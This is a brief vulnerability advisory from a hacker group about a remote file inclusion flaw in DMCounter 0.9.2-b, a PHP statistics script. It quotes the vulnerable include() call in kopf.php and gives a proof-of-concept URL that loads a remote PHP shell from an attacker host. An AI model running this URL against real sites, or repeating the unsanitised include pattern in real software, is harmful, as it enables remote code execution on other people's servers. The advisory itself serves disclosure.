Hackmaster Group DMCounter Remote File Include

[c-w-m@xxxxxxxxxxxxx]

Script: DMCounter
Version: 0.9.2-b
Language: PHP
Problem: Remote File Include
Vendor: http://Www.HackMaster.Us
Discovered by: C-W-M(at)hackmaster(dot)us
Description
=============
Statistics software based on PHP which does not require any database
support but just uses flat files. Daily + monthly visits, which pages, from
where, browsers and OSs are listed and visually presented

Problem
=============
A remote user can supply a specially crafted URL to cause the target
system to include and execute arbitrary PHP code from a remote
location. A remote user can execute arbitrary PHP code and operating
system commands on the target system with the privileges of the
target web service.

The vulnerable file is kopf.php

1 <?php
2 $basepath=getcwd();
3 include($rootdir.'/lang.php');

$rootdir is not being declared before using it in the include() function.

Proof of Concept URL
==============
http://victim.com/dmcounter/kopf.php?rootdir=http://attacker.com/phpshell.txt?

Greets:
==============
][GB][
C-W-M - http://Www.HackMaster.Us